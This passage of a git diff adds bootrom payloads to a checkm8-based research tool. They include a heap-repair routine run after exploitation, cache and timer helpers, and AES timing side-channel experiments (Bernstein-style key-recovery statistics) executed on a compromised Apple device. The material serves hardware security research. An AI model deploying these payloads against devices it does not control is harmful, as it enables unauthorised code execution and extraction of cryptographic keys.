||||
async_buf_ptr = setup_payload_async(dev, PAYLOAD_FLOPPYSLEEP, 32, 1, init_a_ptr);
|
||||
run_payload_async(dev, PAYLOAD_FLOPPYSLEEP);
|
||||
close_device_session(dev);
|
||||
|
||||
printf("async buf pointer is %llX\n", async_buf_ptr);
|
||||
|
||||
// sleep(10);
|
||||
//
|
||||
// open_device_session(dev);
|
||||
// resp = read_gadget(dev, async_buf_ptr, 8);
|
||||
// close_device_session(dev);
|
||||
}
|
||||
54
c8_remote/lib/experiments/system.c
Normal file
54
c8_remote/lib/experiments/system.c
Normal file
@@ -0,0 +1,54 @@
|
||||
#include "util/experiments.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include "tool/command.h"
|
||||
|
||||
void usb_task_exit(struct pwned_device *dev)
|
||||
{
|
||||
struct dev_cmd_resp *resp;
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
||||
{
|
||||
printf("failed to install sync payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_EXIT_USB_TASK, SRAM)))
|
||||
{
|
||||
printf("failed to install sync payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute bootstrap\n");
|
||||
return;
|
||||
}
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(uninstall_payload(dev, PAYLOAD_SYNC)))
|
||||
{
|
||||
printf("failed to uninstall sync payload\n");
|
||||
return;
|
||||
}
|
||||
|
||||
resp = execute_payload(dev, PAYLOAD_EXIT_USB_TASK, 0,
|
||||
1, get_payload_address(dev, PAYLOAD_EXIT_USB_TASK));
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to exit usb task\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
printf("failed to close device session\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -1,33 +1,45 @@
|
||||
project(checkm8_libpayload_sources C ASM)
|
||||
include_directories(include)
|
||||
|
||||
include_directories(${CMAKE_CURRENT_LIST_DIR}/include)
|
||||
set(CMAKE_SYSTEM_PROCESSOR arm)
|
||||
|
||||
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
|
||||
# regular desktop
|
||||
set(CMAKE_C_COMPILER /usr/bin/aarch64-linux-gnu-gcc)
|
||||
set(CMAKE_ASM_COMPILER /usr/bin/aarch64-linux-gnu-as)
|
||||
set(CMAKE_OBJCOPY /usr/bin/aarch64-linux-gnu-objcopy)
|
||||
set(CMAKE_RANLIB /usr/bin/aarch64-linux-gnu-ranlib)
|
||||
elseif(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "armv7l")
|
||||
# raspberry pi
|
||||
set(CMAKE_C_COMPILER /opt/cross/bin/aarch64-linux-gcc)
|
||||
set(CMAKE_ASM_COMPILER /opt/cross/bin/aarch64-linux-as)
|
||||
set(CMAKE_OBJCOPY /opt/cross/bin/aarch64-linux-objcopy)
|
||||
set(CMAKE_RANLIB /opt/cross/bin/aarch64-linux-ranlib)
|
||||
endif()
|
||||
|
||||
set(CMAKE_C_FLAGS "-nostdlib -O")
|
||||
|
||||
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/bin)
|
||||
|
||||
foreach(NAME ${PL_NAMES})
|
||||
if(EXISTS ${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.S)
|
||||
add_executable(payload_${NAME} ${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.c
|
||||
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.S)
|
||||
add_executable(payload_${NAME} ${CMAKE_CURRENT_LIST_DIR}/payload_entry.S
|
||||
${CMAKE_CURRENT_LIST_DIR}/payload_entry.c
|
||||
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.c
|
||||
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.S)
|
||||
else()
|
||||
add_executable(payload_${NAME} ${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.c)
|
||||
add_executable(payload_${NAME} ${CMAKE_CURRENT_LIST_DIR}/payload_entry.S
|
||||
${CMAKE_CURRENT_LIST_DIR}/payload_entry.c
|
||||
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.c)
|
||||
endif()
|
||||
|
||||
add_custom_command(TARGET payload_${NAME} POST_BUILD
|
||||
BYPRODUCTS ${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME}.bin
|
||||
COMMAND ${CMAKE_OBJCOPY}
|
||||
ARGS -O binary -j .text -j .payload_text -j .payload_data
|
||||
ARGS -O binary -j .text -j .payload_text
|
||||
${CMAKE_CURRENT_BINARY_DIR}/payload_${NAME}
|
||||
${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME}.bin)
|
||||
endforeach(NAME)
|
||||
endforeach(NAME)
|
||||
|
||||
add_library(dev_crypto ../crypto/aes_sw_impl.c)
|
||||
target_compile_definitions(dev_crypto PRIVATE DEV_CRYPTO)
|
||||
|
||||
target_link_libraries(payload_aes_sw_bern dev_crypto)
|
||||
target_link_libraries(payload_aes_sw_corr dev_crypto)
|
||||
136
c8_remote/lib/payload/include/bootrom_func.h
Normal file
136
c8_remote/lib/payload/include/bootrom_func.h
Normal file
@@ -0,0 +1,136 @@
|
||||
#ifndef CHECKM8_TOOL_BOOTROM_FUNC_H
|
||||
#define CHECKM8_TOOL_BOOTROM_FUNC_H
|
||||
|
||||
#include "dev/addr.h"
|
||||
#include "dev/types.h"
|
||||
#include "dev_util.h"
|
||||
|
||||
/* Crypto */
|
||||
static inline int hardware_aes(unsigned long long cmd,
|
||||
unsigned char *src, unsigned char *dst,
|
||||
int len, unsigned long long opts,
|
||||
unsigned char *key, unsigned char *iv)
|
||||
{
|
||||
return ((BOOTROM_FUNC_I) ADDR_HARDWARE_AES)(cmd, src, dst, len, opts, key, iv);
|
||||
}
|
||||
|
||||
static inline int get_random(void *buf, int len)
|
||||
{
|
||||
return ((BOOTROM_FUNC_I) ADDR_GET_RANDOM)(buf, len);
|
||||
}
|
||||
|
||||
static inline unsigned int get_entropy()
|
||||
{
|
||||
return ((BOOTROM_FUNC_I) ADDR_GET_ENTROPY)();
|
||||
}
|
||||
|
||||
static inline void sha1(void *src, int len, void *dst)
|
||||
{
|
||||
return ((BOOTROM_FUNC_V) ADDR_SHA1)(src, len, dst);
|
||||
}
|
||||
|
||||
/* Timing */
|
||||
static inline int clock_gate(int device, int power)
|
||||
{
|
||||
return ((BOOTROM_FUNC_I) ADDR_CLOCK_GATE)(device, power);
|
||||
}
|
||||
|
||||
static inline unsigned long long get_time()
|
||||
{
|
||||
return ((BOOTROM_FUNC_ULL) ADDR_GET_TIME)();
|
||||
}
|
||||
|
||||
static inline unsigned long long get_ticks()
|
||||
{
|
||||
return ((BOOTROM_FUNC_ULL) ADDR_GET_TICKS)();
|
||||
}
|
||||
|
||||
static inline void timer_register_int(unsigned long long dl)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_TIMER_REGISTER_INT)(dl, ADDR_RANDOM_RET);
|
||||
}
|
||||
|
||||
static inline void wfi()
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_WFI)();
|
||||
}
|
||||
|
||||
/* Tasking */
|
||||
static inline void *task_new(char *name, BOOTROM_FUNC_I func, void *args, int ssize)
|
||||
{
|
||||
return ((BOOTROM_FUNC_PTR) ADDR_TASK_NEW)(name, func, args, ssize);
|
||||
}
|
||||
|
||||
static inline void task_run(void *task)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_TASK_RUN)(task);
|
||||
}
|
||||
|
||||
static inline void task_pause(int usec)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_TASK_PAUSE)(usec);
|
||||
}
|
||||
|
||||
static inline void task_resched()
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_TASK_RESCHED)();
|
||||
}
|
||||
|
||||
static inline void task_free(void *task)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_TASK_FREE)(task);
|
||||
}
|
||||
|
||||
static inline void event_new(struct event *dst, int flags, int state)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_EVENT_NEW)(dst, flags, state);
|
||||
}
|
||||
|
||||
static inline void event_notify(struct event *ev)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_EVENT_NOTIFY)(ev);
|
||||
}
|
||||
|
||||
static inline void event_wait(struct event *ev)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_EVENT_WAIT)(ev);
|
||||
}
|
||||
|
||||
static inline int event_try(struct event *ev, int timeout)
|
||||
{
|
||||
return ((BOOTROM_FUNC_I) ADDR_EVENT_TRY)(ev, timeout);
|
||||
}
|
||||
|
||||
/* Heap */
|
||||
static inline void calc_chksum(unsigned long long *dst, unsigned long long *src,
|
||||
int len, unsigned long long *cookie)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_CALC_CHKSUM)(dst, src, len, cookie);
|
||||
}
|
||||
|
||||
static inline void check_block_chksum(void *ptr)
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_CHECK_BLOCK_CKSUM)(ptr);
|
||||
}
|
||||
|
||||
static inline void check_all_chksums()
|
||||
{
|
||||
((BOOTROM_FUNC_V) ADDR_CHECK_ALL_CHKSUMS)();
|
||||
}
|
||||
|
||||
static inline void *dev_malloc(int size)
|
||||
{
|
||||
return ((BOOTROM_FUNC_PTR) ADDR_DEV_MALLOC)(size);
|
||||
}
|
||||
|
||||
static inline void *dev_memalign(int size, int constr)
|
||||
{
|
||||
return ((BOOTROM_FUNC_PTR) ADDR_DEV_MEMALIGN)(size, constr);
|
||||
}
|
||||
|
||||
static inline void dev_free(void *ptr)
|
||||
{
|
||||
((BOOTROM_FUNC_PTR) ADDR_DEV_FREE)(ptr);
|
||||
}
|
||||
|
||||
#endif //CHECKM8_TOOL_BOOTROM_FUNC_H
|
||||
62
c8_remote/lib/payload/include/dev_cache.h
Normal file
62
c8_remote/lib/payload/include/dev_cache.h
Normal file
@@ -0,0 +1,62 @@
|
||||
#ifndef CHECKM8_TOOL_DEV_CACHE_H
|
||||
#define CHECKM8_TOOL_DEV_CACHE_H
|
||||
|
||||
#include "dev_util.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline unsigned long long get_ccsidr_el1()
|
||||
{
|
||||
unsigned long long cacheconfig = 0;
|
||||
__asm__ volatile ("mrs %0, ccsidr_el1" : "=r" (cacheconfig));
|
||||
return cacheconfig;
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline void sel_ccsidr_el1(unsigned int level, unsigned int i_or_d)
|
||||
{
|
||||
unsigned long long cachesel = (level & 0b111u) << 1u | (i_or_d & 0b1u);
|
||||
__asm__ volatile ("msr csselr_el1, %0"::"r" (cachesel));
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline unsigned long long get_ctr_el0()
|
||||
{
|
||||
unsigned long long cacheconfig;
|
||||
__asm__ volatile ("mrs %0, CTR_EL0" : "=r" (cacheconfig));
|
||||
return cacheconfig;
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline void inv_l1_setway(unsigned int set, unsigned int way)
|
||||
{
|
||||
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
|
||||
__asm__ volatile ("dc isw, %0"::"r" (val));
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline void clean_l1_setway(unsigned int set, unsigned int way)
|
||||
{
|
||||
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
|
||||
__asm__ volatile ("dc csw, %0"::"r" (val));
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline void clean_inv_l1_setway(unsigned int set, unsigned int way)
|
||||
{
|
||||
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
|
||||
__asm__ volatile ("dc cisw, %0"::"r" (val));
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline void inv_va(void *addr)
|
||||
{
|
||||
__asm__ volatile ("dc ivac, %0"::"r" (addr));
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
static inline void clean_inv_va(void *addr)
|
||||
{
|
||||
__asm__ volatile ("dc ivac, %0"::"r" (addr));
|
||||
}
|
||||
|
||||
#endif //CHECKM8_TOOL_DEV_CACHE_H
|
||||
13
c8_remote/lib/payload/include/dev_crypto.h
Normal file
13
c8_remote/lib/payload/include/dev_crypto.h
Normal file
@@ -0,0 +1,13 @@
|
||||
#ifndef CHECKM8_TOOL_CRYPTO_H
|
||||
#define CHECKM8_TOOL_CRYPTO_H
|
||||
|
||||
#include "dev/types.h"
|
||||
|
||||
void expand_key(unsigned char key[16], unsigned char key_sched[176],
|
||||
int n, struct aes_constants *c);
|
||||
|
||||
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
|
||||
unsigned char key_sched[176], struct aes_constants *c);
|
||||
|
||||
|
||||
#endif //CHECKM8_TOOL_CRYPTO_H
|
||||
22
c8_remote/lib/payload/include/dev_util.h
Normal file
22
c8_remote/lib/payload/include/dev_util.h
Normal file
@@ -0,0 +1,22 @@
|
||||
#ifndef CHECKM8_TOOL_DEV_UTIL_H
|
||||
#define CHECKM8_TOOL_DEV_UTIL_H
|
||||
|
||||
typedef void (*BOOTROM_FUNC_V)();
|
||||
typedef int (*BOOTROM_FUNC_I)();
|
||||
typedef unsigned long long (*BOOTROM_FUNC_ULL)();
|
||||
typedef void (*(*BOOTROM_FUNC_PTR)());
|
||||
|
||||
typedef char int8_t;
|
||||
typedef short int16_t;
|
||||
typedef int int32_t;
|
||||
typedef long long int64_t;
|
||||
|
||||
typedef unsigned char uint8_t;
|
||||
typedef unsigned short uint16_t;
|
||||
typedef unsigned int uint32_t;
|
||||
typedef unsigned long long uint64_t;
|
||||
|
||||
#define PAYLOAD_SECTION __attribute__ ((section (".payload_text")))
|
||||
#define TEXT_SECTION __attribute__ ((section (".text")))
|
||||
|
||||
#endif //CHECKM8_TOOL_DEV_UTIL_H
|
||||
17
c8_remote/lib/payload/payload_entry.S
Normal file
17
c8_remote/lib/payload/payload_entry.S
Normal file
@@ -0,0 +1,17 @@
|
||||
.extern entry_sync
|
||||
.extern entry_async
|
||||
.extern load_sync_entry
|
||||
|
||||
.global _start
|
||||
.section .text
|
||||
_start:
|
||||
mov x10, x30
|
||||
bl load_sync_entry
|
||||
mov x30, x10
|
||||
|
||||
# if we came from the synchronous entry point, branch to entry_sync
|
||||
cmp x9, x10
|
||||
b.eq entry_sync
|
||||
|
||||
# else branch to the payload's async entry points
|
||||
b entry_async
|
||||
13
c8_remote/lib/payload/payload_entry.c
Normal file
13
c8_remote/lib/payload/payload_entry.c
Normal file
@@ -0,0 +1,13 @@
|
||||
#include "dev_util.h"
|
||||
#include "dev/addr.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void load_sync_entry()
|
||||
{
|
||||
uint64_t addr = ADDR_SYNC_ENTRY;
|
||||
__asm__ volatile("mov x9, %0" :: "i" (addr & 0xFFFFu));
|
||||
__asm__ volatile("movk x9, %0, LSL #16" :: "i" ((addr & 0xFFFF0000u) >> 16u));
|
||||
__asm__ volatile("movk x9, %0, LSL #32" :: "i" ((addr & 0xFFFF00000000u) >> 32u));
|
||||
__asm__ volatile("movk x9, %0, LSL #48" :: "i" ((addr & 0xFFFF000000000000u) >> 48u));
|
||||
|
||||
}
|
||||
22
c8_remote/lib/payload/src/aes_busy.c
Normal file
22
c8_remote/lib/payload/src/aes_busy.c
Normal file
@@ -0,0 +1,22 @@
|
||||
#include "bootrom_func.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_sync(uint8_t *src, uint8_t *dst, uint8_t *key, int32_t rep)
|
||||
{
|
||||
int i, j;
|
||||
unsigned char src_data[16];
|
||||
|
||||
for(j = 0; j < 16; j++)
|
||||
{
|
||||
src_data[j] = src[j];
|
||||
}
|
||||
|
||||
for(i = 0; i < rep; i++)
|
||||
{
|
||||
if(i % 2 == 0) hardware_aes(16, src_data, dst, 16, 0, key, 0);
|
||||
else hardware_aes(16, dst, src_data, 16, 0, key, 0);
|
||||
}
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_async(uint64_t *base){}
|
||||
83
c8_remote/lib/payload/src/aes_sw_bern.c
Normal file
83
c8_remote/lib/payload/src/aes_sw_bern.c
Normal file
@@ -0,0 +1,83 @@
|
||||
#include "bootrom_func.h"
|
||||
#include "dev/types.h"
|
||||
#include "dev_cache.h"
|
||||
#include "dev_crypto.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
uint64_t entry_sync(unsigned char *msg, unsigned int msg_len, unsigned char key[16],
|
||||
struct aes_constants *c)
|
||||
{
|
||||
unsigned long long start = 0;
|
||||
unsigned char key_sched[176];
|
||||
expand_key(key, key_sched, 11, c);
|
||||
|
||||
start = get_ticks();
|
||||
aes128_encrypt_ecb(msg, msg_len, key, c);
|
||||
return get_ticks() - start;
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_async(uint64_t *base)
|
||||
{
|
||||
int i, j, iter_count = 0;
|
||||
unsigned long long start = 0;
|
||||
|
||||
unsigned char msg_old[16];
|
||||
unsigned char key_sched[176];
|
||||
double timing;
|
||||
|
||||
// get initial params
|
||||
unsigned char *msg = (unsigned char *) base[0];
|
||||
unsigned int msg_len = (unsigned int) base[1];
|
||||
unsigned char *key = (unsigned char *) base[2];
|
||||
struct aes_constants *c = (struct aes_constants *) base[3];
|
||||
|
||||
expand_key(key, key_sched, 11, c);
|
||||
|
||||
// initialize events and buffers
|
||||
struct bern_data *data = (struct bern_data *) base;
|
||||
event_new(&data->ev_data, 1, 0);
|
||||
event_new(&data->ev_done, 1, 0);
|
||||
|
||||
data->count = 0;
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
for(j = 0; j < 256; j++)
|
||||
{
|
||||
data->t[i][j] = 0;
|
||||
data->tsq[i][j] = 0;
|
||||
data->tnum[i][j] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
while(1)
|
||||
{
|
||||
// randomly generate a new msg based on the old one
|
||||
for(i = 0; i < 16; i++)
|
||||
msg_old[i] = msg[i];
|
||||
|
||||
// encrypt it and measure time
|
||||
start = get_ticks();
|
||||
aes128_encrypt_ecb(msg, msg_len, key_sched, c);
|
||||
timing = (double) (get_ticks() - start);
|
||||
|
||||
// update counters
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
data->t[i][msg_old[i]] += timing;
|
||||
data->tsq[i][msg_old[i]] += (timing * timing);
|
||||
data->tnum[i][msg_old[i]] += 1;
|
||||
|
||||
data->count++;
|
||||
data->ttotal += timing;
|
||||
}
|
||||
|
||||
// check if host has requested data
|
||||
iter_count++;
|
||||
if(iter_count % 100000 == 0)
|
||||
{
|
||||
if(event_try(&data->ev_data, 1))
|
||||
event_wait(&data->ev_done);
|
||||
}
|
||||
}
|
||||
}
|
||||
54
c8_remote/lib/payload/src/aes_sw_corr.c
Normal file
54
c8_remote/lib/payload/src/aes_sw_corr.c
Normal file
@@ -0,0 +1,54 @@
|
||||
#include "bootrom_func.h"
|
||||
#include "dev_util.h"
|
||||
#include "dev_crypto.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_sync()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_async(uint64_t *base)
|
||||
{
|
||||
int i;
|
||||
unsigned char key_sched[176];
|
||||
unsigned long long start, timing;
|
||||
|
||||
unsigned char *key = (unsigned char *) base[0];
|
||||
struct aes_constants *c = (struct aes_constants *) base[1];
|
||||
|
||||
struct corr_data *data = (struct corr_data *) base;
|
||||
event_new(&data->ev_cont, 1, 0);
|
||||
|
||||
expand_key(key, key_sched, 11, c);
|
||||
for(i = 0; i < 16; i++)
|
||||
data->msg[i] = 0;
|
||||
|
||||
while(1)
|
||||
{
|
||||
// reset data state
|
||||
data->num_cutoff = 0;
|
||||
for(i = 0; i < N_CORR_ENTRIES; i++)
|
||||
{
|
||||
data->data[i] = 0;
|
||||
}
|
||||
|
||||
// collect new data
|
||||
i = 0;
|
||||
while(i < N_CORR_ENTRIES)
|
||||
{
|
||||
start = get_ticks();
|
||||
aes128_encrypt_ecb(data->msg, 16, key_sched, c);
|
||||
timing = get_ticks() - start;
|
||||
|
||||
if(timing < 256)
|
||||
data->data[i++] = (unsigned char) timing;
|
||||
else
|
||||
data->num_cutoff++;
|
||||
}
|
||||
|
||||
event_wait(&data->ev_cont);
|
||||
}
|
||||
|
||||
}
|
||||
33
c8_remote/lib/payload/src/cachelib.c
Normal file
33
c8_remote/lib/payload/src/cachelib.c
Normal file
@@ -0,0 +1,33 @@
|
||||
#include "bootrom_func.h"
|
||||
#include "dev_cache.h"
|
||||
|
||||
|
||||
PAYLOAD_SECTION
|
||||
unsigned long long l1_experiment()
|
||||
{
|
||||
int i;
|
||||
unsigned long long start, f;
|
||||
volatile unsigned long long val = 0;
|
||||
clean_inv_va((unsigned long long *) &val);
|
||||
|
||||
start = get_ticks();
|
||||
for(i = 0; i < 10000000; i++)
|
||||
{
|
||||
val;
|
||||
clean_inv_va((unsigned long long *) &val);
|
||||
}
|
||||
|
||||
return get_ticks() - start;
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
unsigned long long entry_sync()
|
||||
{
|
||||
return l1_experiment();
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_async()
|
||||
{
|
||||
|
||||
}
|
||||
53
c8_remote/lib/payload/src/exit_usb_task.c
Normal file
53
c8_remote/lib/payload/src/exit_usb_task.c
Normal file
@@ -0,0 +1,53 @@
|
||||
#include "dev/addr.h"
|
||||
#include "bootrom_func.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void fix_heap()
|
||||
{
|
||||
*((unsigned long long *) 0x1801b91a0) = 0x80 / 0x40;
|
||||
*((unsigned long long *) 0x1801b91a8) = ((0x840u / 0x40) << 2u);
|
||||
*((unsigned long long *) 0x1801b91b0) = 0x80;
|
||||
*((unsigned long long *) 0x1801b91b8) = 0;
|
||||
|
||||
*((unsigned long long *) 0x1801b9220) = 0x80 / 0x40;
|
||||
*((unsigned long long *) 0x1801b9228) = ((0x80u / 0x40) << 2u);
|
||||
*((unsigned long long *) 0x1801b9230) = 0x80;
|
||||
*((unsigned long long *) 0x1801b9238) = 0;
|
||||
|
||||
*((unsigned long long *) 0x1801b92a0) = 0x80 / 0x40;
|
||||
*((unsigned long long *) 0x1801b92a8) = ((0x80u / 0x40) << 2u);
|
||||
*((unsigned long long *) 0x1801b92b0) = 0x80;
|
||||
*((unsigned long long *) 0x1801b92b8) = 0;
|
||||
|
||||
__asm__ volatile ("dmb sy");
|
||||
calc_chksum((unsigned long long *) 0x1801b9180,
|
||||
(unsigned long long *) 0x1801b91a0,
|
||||
32,
|
||||
(unsigned long long *) 0x180080640);
|
||||
|
||||
calc_chksum((unsigned long long *) 0x1801b9200,
|
||||
(unsigned long long *) 0x1801b9220,
|
||||
32,
|
||||
(unsigned long long *) 0x180080640);
|
||||
|
||||
calc_chksum((unsigned long long *) 0x1801b9280,
|
||||
(unsigned long long *) 0x1801b92a0,
|
||||
32,
|
||||
(unsigned long long *) 0x180080640);
|
||||
|
||||
__asm__ volatile ("dmb sy");
|
||||
check_all_chksums();
|
||||
}
|
||||
|
||||
void entry_sync(unsigned long long *self)
|
||||
{
|
||||
fix_heap();
|
||||
|
||||
*(ADDR_DFU_RETVAL) = -1;
|
||||
*(ADDR_DFU_STATUS) = 1;
|
||||
|
||||
event_notify((struct event *) ADDR_DFU_EVENT);
|
||||
dev_free(self);
|
||||
}
|
||||
|
||||
void entry_async(uint64_t *base){}
|
||||
60
c8_remote/lib/payload/src/floppysleep.c
Normal file
60
c8_remote/lib/payload/src/floppysleep.c
Normal file
@@ -0,0 +1,60 @@
|
||||
#include "bootrom_func.h"
|
||||
|
||||
extern uint64_t fs_routine(void);
|
||||
extern uint64_t fs_load(float *dividend, int divisor_base);
|
||||
// extern uint64_t check_subnormal();
|
||||
|
||||
//PAYLOAD_SECTION
|
||||
//unsigned int is_subnormal(float val)
|
||||
//{
|
||||
// unsigned int bytes = *((unsigned int *) &val);
|
||||
// bytes = bytes >> 23u;
|
||||
//
|
||||
// if(bytes & 0x7u)
|
||||
// {
|
||||
// return 0;
|
||||
// }
|
||||
// else return 1;
|
||||
//}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
uint64_t floppysleep_iteration(float *init)
|
||||
{
|
||||
int i;
|
||||
uint64_t start, end, report;
|
||||
|
||||
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (start));
|
||||
fs_load(init, 1);
|
||||
for(i = 0; i < 128; i++) fs_routine();
|
||||
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (end));
|
||||
|
||||
if(2 * end - start - 64 > 0)
|
||||
{
|
||||
timer_register_int(2 * end - start - 64);
|
||||
wfi();
|
||||
}
|
||||
|
||||
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (report));
|
||||
return end - start;
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
uint64_t entry_sync(float *init_ptr)
|
||||
{
|
||||
return floppysleep_iteration(init_ptr);
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_async(uint64_t *args)
|
||||
{
|
||||
float *init_ptr = (float *) args[0];
|
||||
args[0] = 0;
|
||||
|
||||
while(1)
|
||||
{
|
||||
floppysleep_iteration(init_ptr);
|
||||
|
||||
if(args[0] % 1000000 == 0) task_resched();
|
||||
args[0]++;
|
||||
}
|
||||
}
|
||||
13
c8_remote/lib/payload/src/sync.c
Normal file
13
c8_remote/lib/payload/src/sync.c
Normal file
@@ -0,0 +1,13 @@
|
||||
#include "dev_util.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_sync()
|
||||
{
|
||||
__asm__("dmb sy");
|
||||
__asm__("ic iallu");
|
||||
__asm__("dsb sy");
|
||||
__asm__("isb");
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_async(){}
|
||||
193
c8_remote/main.c
193
c8_remote/main.c
@@ -2,12 +2,12 @@
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <float.h>
|
||||
#include <stdlib.h>
|
||||
#include <math.h>
|
||||
|
||||
#include "command.h"
|
||||
#include "payload.h"
|
||||
#include "usb_helpers.h"
|
||||
#include "dev/types.h"
|
||||
#include "util/experiments.h"
|
||||
#include "util/host_crypto.h"
|
||||
|
||||
#ifdef CHECKM8_LOGGING
|
||||
|
||||
@@ -27,7 +27,7 @@ void checkm8_debug_indent(const char *format, ...)
|
||||
}
|
||||
va_list args;
|
||||
|
||||
va_start (args, format);
|
||||
va_start(args, format);
|
||||
vprintf(format, args);
|
||||
va_end(args);
|
||||
#endif
|
||||
@@ -44,62 +44,149 @@ void checkm8_debug_block(const char *format, ...)
|
||||
#endif
|
||||
}
|
||||
|
||||
void record_bern_data(struct bern_data *data)
|
||||
{
|
||||
int j, b;
|
||||
double u[16][256];
|
||||
double udev[16][256];
|
||||
double taverage;
|
||||
|
||||
FILE *outfile;
|
||||
char linebuf[256];
|
||||
|
||||
printf("have count %lli k\n", data->count / 16 / 100000);
|
||||
taverage = data->ttotal / (double) data->count;
|
||||
|
||||
for(j = 0; j < 16; j++)
|
||||
{
|
||||
for(b = 0; b < 256; b++)
|
||||
{
|
||||
u[j][b] = data->t[j][b] / data->tnum[j][b];
|
||||
udev[j][b] = data->tsq[j][b] / data->tnum[j][b];
|
||||
udev[j][b] -= u[j][b] * u[j][b];
|
||||
udev[j][b] = sqrt(udev[j][b]);
|
||||
}
|
||||
}
|
||||
|
||||
sprintf(linebuf, "dat_%lli.dat", data->count / 16 / 100000);
|
||||
outfile = fopen(linebuf, "w+");
|
||||
if(outfile == NULL)
|
||||
{
|
||||
printf("failed to open data file\n");
|
||||
return;
|
||||
}
|
||||
|
||||
for(j = 0; j < 16; j++)
|
||||
{
|
||||
for(b = 0; b < 256; b++)
|
||||
{
|
||||
sprintf(linebuf,
|
||||
"%2d %3d %lli %f %f %f %f\n",
|
||||
j, b, (long long) data->tnum[j][b],
|
||||
u[j][b], udev[j][b],
|
||||
u[j][b] - taverage, udev[j][b] / sqrt(data->tnum[j][b]));
|
||||
fputs(linebuf, outfile);
|
||||
}
|
||||
}
|
||||
|
||||
fclose(outfile);
|
||||
}
|
||||
|
||||
void run_corr_exp(struct pwned_device *dev, char *fname)
|
||||
{
|
||||
int i, j, iter = 0;
|
||||
char dat_fname[32];
|
||||
FILE *outfile;
|
||||
DEV_PTR_T addr_async_buf;
|
||||
|
||||
struct aes_constants *c = get_constants();
|
||||
struct corr_data *data;
|
||||
|
||||
unsigned char msg[16];
|
||||
unsigned char key[16];
|
||||
unsigned char key_sched[176];
|
||||
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
msg[i] = 0;
|
||||
key[i] = 0x0;
|
||||
}
|
||||
|
||||
expand_key(key, key_sched, 11, c);
|
||||
|
||||
